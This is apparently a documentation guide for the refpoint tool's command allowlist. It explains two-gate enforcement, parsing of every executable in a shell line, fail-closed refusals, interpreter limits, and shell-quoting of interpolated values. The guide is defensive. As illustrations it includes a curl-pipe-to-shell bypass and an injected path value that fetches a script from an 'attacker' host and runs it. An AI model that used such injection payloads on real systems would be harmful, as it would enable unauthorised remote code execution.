# The command allowlist

> How arbitrary execution is gated, why it fails closed, and where the limits are.

Source: https://refpoint.dev/docs/guides/command-allowlist

The `command` resource runs whatever the profile writes, on machines that
matter, with credentials that matter. This guide explains the two gates in front
of it, how to read a refusal, and the limitation that no parser fixes.

## Two independent gates

**The operator's ceiling** comes from `--allowed-commands` or the config file's
`allowed_commands`. It is a strict allowlist, and an empty one permits nothing.
Silence has to mean deny for a resource that executes arbitrary commands.

**The profile's declaration** comes from `allowed_commands` in the `profile`
block. It can only narrow the ceiling, never widen it. Empty means the profile
imposes no limit of its own and the operator's list governs alone.

`*` is the explicit opt-out permitting everything. It has to be written down,
which is the point of a deny-by-default list.

The two gates are kept separate rather than pre-intersected, so a refusal can
say which gate closed and therefore who has to change something:

```
command "systemctl status sshd" blocked: no commands are allowed because
allowed_commands is empty - add "systemctl" to allowed_commands, or "*" to
allow every command

command "curl https://x" blocked: executable "curl" is not in allowed_commands
(systemctl, getent)

command "getent group wheel" blocked: the profile does not declare executable
"getent" in its allowed_commands (systemctl) - add it to the profile block
```

A dependency's declaration is merged into its parent's as a union, empty only
when neither side declares anything. One consequence is worth knowing: a
dependency that declares nothing runs under its parent's list, so one of its
checks can be refused. The refusal names the program.

## Every executable in the line

The command reaches a shell, so every construct that starts a new command is a
place a program runs. The extractor covers separators (`;`, `&&`, `||`, `|`,
`|&`, `&`), command substitution with `$(...)` and backticks, subshells and
groups, and the argument of a wrapper such as `timeout`, `xargs`, `env`, `nice`,
`nohup`, `sudo`, or `doas`.

Reading only the first token meant `cat /etc/hostname; curl http://x | sh` was
gated as `cat`, and the allowlist was bypassable with a single semicolon.

The parser skips redirection targets, which are filenames, and `VAR=value`
assignments. It treats shell keywords such as `if`, `for`, `do`, and `done` as
reserved words rather than programs, since gating them would deny legitimate
lines for a word no operator can meaningfully declare.

## It fails closed

An unterminated quote or substitution, or a heredoc whose body the parser does
not model, returns an error and the command is refused. A line that cannot be
fully accounted for must not be gated on a guess, because partial enforcement
looks like enforcement.

## The honest limitation

The parser cannot see through interpreters. `awk 'BEGIN{system("...")}'`,
`find -exec`, `perl -e`, and friends run arbitrary code with no shell syntax at
all. Allowing any of those binaries allows anything.

That is a property of allowlisting by executable basename, not a gap a better
parser closes. Choose the entries in `allowed_commands` accordingly, and prefer
a typed resource over `command` wherever one exists.

## Seeing what a profile needs

```shell
refpoint check my-baseline
```

`check` reports every executable the profile's `command` checks would run,
extracted exactly as enforcement extracts them, and flags any the profile uses
but never declared, since those can never run however permissive the operator
is. A line the parser cannot account for shows as `<unparsable: ...>` rather
than a half-truth.

## Values interpolated into commands are shell-quoted

Providers build command lines and interpolate values that come from the profile:
resource addresses, variables, `--var` overrides, var files.

Go's `%q` verb quotes for Go, not for the shell. It emits double quotes and
escapes only `"`, `\`, and non-printable runes, because nothing else matters in
a Go string literal. Inside shell double quotes, `$` and backticks still expand,
so a `path` attribute of

```
/etc/ssh/sshd_config$(curl -s http://attacker/p.sh|sh)
```

executed as the connecting user, or as root under `--sudo`.

Three measures replaced it. `shell.Quote` wraps a POSIX value in single
quotes, the only shell construct with no escapes at all, writing an embedded
quote as a close-escape-reopen sequence. `shell.PSEscape` doubles an embedded
quote for PowerShell values. And `%q` is banned in format strings that build
commands, enforced by an AST lint test that fails when a `%q` inside a
`fmt.Sprintf` flows into `Exec` or into a variable named `cmd`.

Two limits are worth stating rather than implying. The lint test catches the
common mistake, not every possible one. And an untrusted command is still
untrusted: quoting protects arguments, it does not make the `command` resource
safe. That is what the allowlist is for.